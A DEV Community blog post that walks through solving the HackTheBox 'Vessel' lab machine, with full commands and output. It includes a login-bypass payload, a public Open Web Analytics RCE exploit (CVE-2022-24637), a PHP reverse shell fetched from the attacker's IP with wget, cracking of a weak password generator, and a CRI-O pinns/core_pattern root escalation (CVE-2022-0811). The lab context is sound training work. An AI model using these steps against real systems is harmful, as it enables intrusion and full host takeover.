DEV Community

Cover image for HACKTHEBOX (HTB) WRITEUP: VESSEL [HARD]
Muhammad Usman
Muhammad Usman

Posted on

HACKTHEBOX (HTB) WRITEUP: VESSEL [HARD]

Objectives

  • User flag
  • Root flag

SCANNING

> TARGET=10.129.112.189 && nmap -p$(nmap -p- --min-rate=1000 -T4 $TARGET -Pn | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) -sC -sV -Pn -vvv $TARGET -oN nmap_tcp_all.nmap
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-title: Vessel
|_http-favicon: Unknown favicon MD5: 9A251AF46E55C650807793D0DB9C38B8
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Enter fullscreen mode Exit fullscreen mode

WEB ENUM

  • Inspecting the web page found a domain name: vessel.htb, add this to /etc/hosts
  • Registering an account at http://vessel.htb/register shows currently not available
  • Inspecting the traffic found a connect.sid, this indicates the use of nodejs express
POST /api/register HTTP/1.1
Host: vessel.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Origin: http://vessel.htb
Connection: close
Referer: http://vessel.htb/register
Cookie: connect.sid=s%3ARkA_yhB0F8t4odxYkuBR7mSZW-eC_dHI.%2BQIqgvsy53mYn4YE12ma%2BtBKcRNpCaLdzcM4d5Gd81U
Upgrade-Insecure-Requests: 1
Enter fullscreen mode Exit fullscreen mode
  • Running path scan found a path called /dev
> dirsearch -u http://vessel.htb/
Enter fullscreen mode Exit fullscreen mode
  • Continue dirsearch under /dev found this is a git repository.
> dirsearch -u http://vessel.htb/dev
Enter fullscreen mode Exit fullscreen mode
  • Use git-dumper to dump the git repo
> python3 ~/tools/git-dumper/git_dumper.py http://vessel.htb/dev repo
Enter fullscreen mode Exit fullscreen mode
  • Note that there might be an error saying 'Index' object has no attribute 'iterblobs', to fix, pin your dulwich version to 0.20.20
> python3 -m pip install dulwich==0.20.20
Enter fullscreen mode Exit fullscreen mode
  • Subdomain enum didn’t find anything
> wfuzz -c -f subdomains.txt -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://vessel.htb/" -H "Host: FUZZ.vessel.htb"
Enter fullscreen mode Exit fullscreen mode

SOURCE CODE INSPECTION

  • Inspect git log of the leaked repo
> git log
commit 208167e785aae5b052a4a2f9843d74e733fbd917 (HEAD -> master)
Author: Ethan <ethan@vessel.htb>
Date:   Mon Aug 22 10:11:34 2022 -0400
    Potential security fixes
commit edb18f3e0cd9ee39769ff3951eeb799dd1d8517e
Author: Ethan <ethan@vessel.htb>
Date:   Fri Aug 12 14:19:19 2022 -0400
    Security Fixes
commit f1369cfecb4a3125ec4060f1a725ce4aa6cbecd3
Author: Ethan <ethan@vessel.htb>
Date:   Wed Aug 10 15:16:56 2022 -0400
    Initial commit
Enter fullscreen mode Exit fullscreen mode
  • From git log, found developer name is Ethan
Author: Ethan <ethan@vessel.htb>
Enter fullscreen mode Exit fullscreen mode
  • Found db credential in config/db.js
var connection = {
        db: {
        host     : 'localhost',
        user     : 'default',
        password : 'daqvACHKvRn84VdVp',
        database : 'vessel'
}};
Enter fullscreen mode Exit fullscreen mode

BYPASS WEB LOGIN

  • By inspecting the code, it seems that the sqli issue had been fixed in /routes/inject.js
router.post('/api/login', function(req, res) {
    let username = req.body.username;
    let password = req.body.password;
    if (username && password) {
        connection.query('SELECT * FROM accounts WHERE username = ? AND password = ?', [username, password], function(error, results, fields) {
            if (error) throw error;
            if (results.length > 0) {
                req.session.loggedin = true;
                req.session.username = username;
                req.flash('success', 'Succesfully logged in!');
                res.redirect('/admin');
            } else {
                req.flash('error', 'Wrong credentials! Try Again!');
                res.redirect('/login');
            }           
            res.end();
        });
    } else {
        res.redirect('/login');
    }
});
Enter fullscreen mode Exit fullscreen mode
username=admin&password[password]=1
Enter fullscreen mode Exit fullscreen mode
$cache_file = $this->makeCollectionDirPath($collection).$id.'.php';
# this corresponds to http://openwebanalytics.vessel.htb/owa-data/caches/1/
# cache_id is 1 by default
Enter fullscreen mode Exit fullscreen mode
  • The cache file is generated using the id of the user in the format: md5(id1)
  • So, for the user with an id of 1, the cache name would be: fafe1b60c24107ccd8f4562213e44849
  • Using http://openwebanalytics.vessel.htb/index.php?owa_do=base.passwordResetForm, we can figure out a valid email, admin@vessel.htb
  • i assume this user has an id of 1, and in the end it turns out to be true.
  • We can attempt to login using this account, even a failed login will generate the cache file under: http://openwebanalytics.vessel.htb/owa-data/caches/1/owa_configuration/, yet this cache doesn’t contain any user sensitive info. So we need to find other corresponding actions to generate another caches.
  • With some Google search, i found someone else’s website running owa and revealed how the cache files are named. Then way i searched is using google search operators:
inurl: "owa-data/caches"
Enter fullscreen mode Exit fullscreen mode
# get the base64 encoded content and then decode it
> curl http://openwebanalytics.vessel.htb/owa-data/caches/1/owa_user/fafe1b60c24107ccd8f4562213e44849.php
O:8:"owa_user":5:{s:4:"name";s:9:"base.user";s:10:"properties";a:10:{s:2:"id";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:1:"1";s:9:"data_type";s:6:"SERIAL";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:7:"user_id";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:5:"admin";s:9:"data_type";s:12:"VARCHAR(255)";s:11:"foreign_key";N;s:14:"is_primary_key";b:1;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:8:"password";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:60:"$2y$10$seT74YJuo1hsZgXS4UCYFOMogk95iQzGkCR9YjXoUAOg7w.dwumzO";s:9:"data_type";s:12:"VARCHAR(255)";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:4:"role";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:5:"admin";s:9:"data_type";s:12:"VARCHAR(255)";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:9:"real_name";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:13:"default admin";s:9:"data_type";s:12:"VARCHAR(255)";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:13:"email_address";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:16:"admin@vessel.htb";s:9:"data_type";s:12:"VARCHAR(255)";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:12:"temp_passkey";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:32:"56801c66e2a182724800625776088f0e";s:9:"data_type";s:12:"VARCHAR(255)";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:13:"creation_date";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:10:"1650211659";s:9:"data_type";s:6:"BIGINT";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:16:"last_update_date";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:10:"1650211659";s:9:"data_type";s:6:"BIGINT";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:7:"api_key";O:12:"owa_dbColumn":11:{s:4:"name";s:7:"api_key";s:5:"value";s:32:"a390cc0247ecada9a2b8d2338b9ca6d2";s:9:"data_type";s:12:"VARCHAR(255)";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}}s:16:"_tableProperties";a:4:{s:5:"alias";s:4:"user";s:4:"name";s:8:"owa_user";s:9:"cacheable";b:1;s:23:"cache_expiration_period";i:604800;}s:12:"wasPersisted";b:1;s:5:"cache";N;}
Enter fullscreen mode Exit fullscreen mode
  • The password hash can be found from the cache, but it cannot be cracked. However, we can see there is a temp_passkey, which can be used with the base.usersChangePassword action to change the account’s password
http://openwebanalytics.vessel.htb/index.php?owa_do=base.usersChangePassword
Enter fullscreen mode Exit fullscreen mode
  • Inspect the form to check the key name (hidden in the form) used for this request owa_k
  • Remove the hidden property, and paste the temp_passkey into the field, then change the password
  • Now, you should be able to login the account admin using the newly set password

    FOOTHOLD

  • Once logged in as admin, there is a poc that exploits the settings page: https://github.com/watchdog2000/cve-2022-24637_open-web-analytics-info-disclosure-to-rce

  • For details about how this exploit works, read the second vulnerability on https://devel0pment.de/?p=2494#vuln2. Basically, there is lacking restriction on the config checking, so this can be exploited to set a different base.error_log_file (can be a php file) and a different logging level base.error_log_level.

> python3 cve-2022-24637.py -u http://openwebanalytics.vessel.htb/ -U admin -P test123
[+] - Found cache url: http://openwebanalytics.vessel.htb//owa-data/caches/1/owa_user/c30da9265ba0a4704db9229f864c9eb7.php
[+] - Downloaded cache
[+] - Found passkey: c849df0b12c44d26568c2be0e99e4862
[+] - Changed password of user admin to 'test123'
[+] - Submitted update for log file, ready for RCE...
SHELL> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Enter fullscreen mode Exit fullscreen mode
  • Note that this shell is very unstable, you’d better upgrade to a better shell
> cp /usr/share/webshells/php/php-reverse-shell.php w.php
# change the IP and port
# in the owa rce shell
SHELL> wget http://10.10.16.59/w.php
# run a nc listener and browse to http://openwebanalytics.vessel.htb/owa-data/logs/w.php in the browser

Enter fullscreen mode Exit fullscreen mode
  • Once receiving a better shell

REVERSE ENG

  • There is a passwordGenerator under /home/steven, this appears to be a windows executable
  • There is also a png and a pdf file under /home/steven/.notes/
/home/steven/.notes/screenshot.png
/home/steven/.notes/notes.pdf
Enter fullscreen mode Exit fullscreen mode
  • The notes.pdf file is password protected, and the screenshot.png shows you what possible password complexity is used to generate the password.
  • Coming back to passwordGenerator. This is a windows 32 PE file, which is compiled using pyinstaller, to decompile it, use
https://github.com/extremecoders-re/pyinstxtractor
Enter fullscreen mode Exit fullscreen mode
  • Note that this tool is made for 3.7, so, to ensure things can be extracted correctly, you need to install python3.7
  • Then, install uncompyle6 to decompile the passwordGenerator.pyc file, it is suggested to create a virtualenv for python3.7 so that you can always revert when things didn’t work out
# install virtualenv and activate
python.exe -m pip install virtualenv
python.exe -m virtualenv env37
env37\Scripts\activate
# extract content
python pyinstxtractor.py passwordGenerator
# decompile
pip install uncompyle6
uncompyle6 passwordGenerator.pyc

Enter fullscreen mode Exit fullscreen mode
  • Reading the code, it would seem that there is a 32¹²⁸ combinations of passwords, however, running the code on these lines shows that the idx will only be a limited number of values due to how QT implements the random number generator.
qsrand(QTime.currentTime().msec())
password = ''
for i in range(length):
    idx = qrand() % len(charset)
Enter fullscreen mode Exit fullscreen mode
  • Copying the genPassword code and modify it to make it work.
  • Then create a while loop to genreate passwords, the process will become extremely slow at around 1000 passwords.
from PySide2.QtCore import *
def genPassword():
    length = 32
    char = 0
    if char == 0:
        charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890~!@#$%^&*()_-+={}[]|:;<>,.?'
    else:
        if char == 1:
            charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
        else:
            if char == 2:
                charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890'
            else:
                pass
    try:
        qsrand(QTime.currentTime().msec())
        password = ''
        for i in range(length):
            idx = qrand() % len(charset)
            nchar = charset[idx]
            password += str(nchar)
    except:
        print('error')
    return password
def gen_possible_passes():
    passes = []
    try:
        while True:
            ps = genPassword()
            if ps not in passes:
                passes.append(ps)
                # print(ps)
                print(len(passes))
    except KeyboardInterrupt:
        with open('pass.txt', 'w') as ofile:
            for p in passes:
                ofile.write(p + '\n')
gen_possible_passes()
Enter fullscreen mode Exit fullscreen mode
  • Then use it with pdfcrack, you should have your password.
> pdfcrack -f notes.pdf -w ~/share/passwordGenerator_extracted/pass.txt
PDF version 1.6
Security Handler: Standard
V: 2
R: 3
P: -1028
Length: 128
Encrypted Metadata: True
FileID: c19b3bb1183870f00d63a766a1f80e68
U: 4d57d29e7e0c562c9c6fa56491c4131900000000000000000000000000000000
O: cf30caf66ccc3eabfaf371623215bb8f004d7b8581d68691ca7b800345bc9a86
found user-password: 'YG7Q7RDzA+q&ke~MJ8!yRzoI^VQxSqSS'
Enter fullscreen mode Exit fullscreen mode
  • Open up the pdf file, you should have ethan’s password
Dear Steven,
As we discussed since I'm going on vacation you will be in charge of system maintenance. Please
ensure that the system is fully patched and up to date.
Here is my password: b@mPRNSVTjjLKId1T
System Administrator
Ethan
Enter fullscreen mode Exit fullscreen mode
  • Login as ethan to get the user flag

    PE

  • Upload linpeas.sh and run, found the following info

-rwsr-x--- 1 root   ethan      796K Mar 15 18:18 /usr/bin/pinns (Unknown SUID binary)
[+] Checking if runc is available
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation/runc-privilege-escalation
runc was found in /usr/sbin/runc, you may be able to escalate privileges with it

Enter fullscreen mode Exit fullscreen mode
  • With some google search, this is found to be related to a recent vulnerability: https://www.crowdstrike.com/blog/cr8escape-new-vulnerability-discovered-in-cri-o-container-engine-cve-2022-0811/

    EXPLOITING CVE-2022–0811

  • Follow the steps closely, this is a confusing exploit

  • Note that there is no kubectl, minikube, docker etc involved in this exploit. You need to understand the concept of cve-2022–0811 and replicate using the underlying commands

  • Using pspy64, we can see that there are some scripts that keep deleting stuff in various folder. So i decided to do my exploit in /tmp/meow folder.

2022/08/31 05:28:01 CMD: UID=0    PID=53674  | sudo -u ethan rm -rf /home/ethan/*sh /home/ethan/.*sh /home/ethan/*/*.sh /home/ethan/*/*sh /home/ethan/.*/*sh /home/ethan/.*/.*sh
2022/08/31 05:28:01 CMD: UID=0    PID=53673  | /bin/sh /root/scripts/clean2.sh 
2022/08/31 05:28:01 CMD: UID=0    PID=53672  | /bin/sh -c /root/scripts/clean2.sh 
2022/08/31 05:28:01 CMD: UID=0    PID=53676  | /bin/bash /root/scripts/clean.sh 
2022/08/31 05:28:01 CMD: UID=0    PID=53679  | sudo -u steven rm -rf /home/steven/.notes/.*sh /home/steven/.notes/*sh 
2022/08/31 05:28:01 CMD: UID=1001 PID=53681  | rm -rf /home/steven/.notes/.*sh /home/steven/.notes/*sh 
2022/08/31 05:28:01 CMD: UID=0    PID=53682  | umount /home/ethan/utsns/* /home/ethan/ipcns/* /home/ethan/netns/* /home/ethan/cgroupns/* 
2022/08/31 05:28:01 CMD: UID=0    PID=53683  | umount /home/steven/utsns/* /home/steven/ipcns/* /home/steven/netns/* /home/steven/cgroupns/* 
2022/08/31 05:28:01 CMD: UID=0    PID=53685  | sudo -u ethan rm -rf /home/ethan/utsns /home/ethan/ipcns /home/ethan/netns /home/ethan/cgroupns 
2022/08/31 05:28:01 CMD: UID=1000 PID=53686  | 
2022/08/31 05:28:01 CMD: UID=0    PID=53687  | sudo -u steven rm -rf /home/steven/utsns /home/steven/ipcns /home/steven/netns /home/steven/cgroupns 
2022/08/31 05:28:01 CMD: UID=0    PID=53689  | sudo -u ethan rm /tmp/*.sh 
2022/08/31 05:28:01 CMD: UID=0    PID=53691  | /bin/sh /root/scripts/clean2.sh
Enter fullscreen mode Exit fullscreen mode
  • Open two ssh sessions

STEP 1

  • In session 1, do the following
ethan@vessel:~$ mkdir /tmp/meow && cd /tmp/meow
ethan@vessel:/tmp/meow$ runc spec --rootless
ethan@vessel:/tmp/meow$ mkdir rootfs
ethan@vessel:/tmp/meow$ vi config.json 
############# under mounts section, add the following content
{
    "type": "bind",
    "source": "/",
    "destination": "/",
    "options": [
        "rbind",
        "rw",
        "rprivate"
    ]
},
#############
ethan@vessel:/tmp/meow$ runc --root /tmp/meow run alpine
# you should be in the container now, but this is a read-only filesystem
Enter fullscreen mode Exit fullscreen mode

STEP 2

  • In session 2, create a script that adds the s bit to /usr/bin/bash
ethan@vessel:~$ echo -e '#!/bin/sh\nchmod +s /usr/bin/bash' > /tmp/meow/e.sh && chmod +x /tmp/meow/e.sh
Enter fullscreen mode Exit fullscreen mode

STEP 3

  • In sesison 1, check the script is created and is executable
# ls -ls /tmp/meow
total 16
4 drwx--x--x 2 root root 4096 Aug 31 10:49 alpine
4 -rw-rw-r-- 1 root root 2875 Aug 31 10:49 config.json
4 -rwxrwxr-x 1 root root   33 Aug 31 10:50 e.sh
4 drwxrwxr-x 5 root root 4096 Aug 31 10:48 rootfs
Enter fullscreen mode Exit fullscreen mode

STEP 4

  • In session 2, use pinns to assign the kernel.core_pattern a value so that upon a core dump, it will execute the malicious script
ethan@vessel:~$ pinns -d /var/run -f 844aa3c8-2c60-4245-a7df-9e26768ff303 -s 'kernel.shm_rmid_forced=1+kernel.core_pattern=|/tmp/meow/e.sh #' --ipc --net --uts --cgroup
Enter fullscreen mode Exit fullscreen mode

STEP 5

  • In session 1, trigger a core dump
# ulimit -c unlimited
# tail -f /dev/null &
# ps
    PID TTY          TIME CMD
      1 pts/0    00:00:00 sh
     12 pts/0    00:00:00 tail
     13 pts/0    00:00:00 ps
# bash -i
bash: /root/.bashrc: Permission denied
root@runc:/# kill -SIGSEGV 12
root@runc:/# ps
    PID TTY          TIME CMD
      1 pts/0    00:00:00 sh
     14 pts/0    00:00:00 bash
     17 pts/0    00:00:00 ps

Enter fullscreen mode Exit fullscreen mode

STEP 6

  • In session 2, check that the s bit has been assigned to usr/bin/bash, and then promote to effective root
ethan@vessel:~$ ls -ls /usr/bin/bash
1160 -rwsr-sr-x 1 root root 1183448 Apr 18 09:14 /usr/bin/bash
ethan@vessel:~$ bash -p
bash-5.0# cd /root
bash-5.0# cat root.txt

Enter fullscreen mode Exit fullscreen mode

Top comments (0)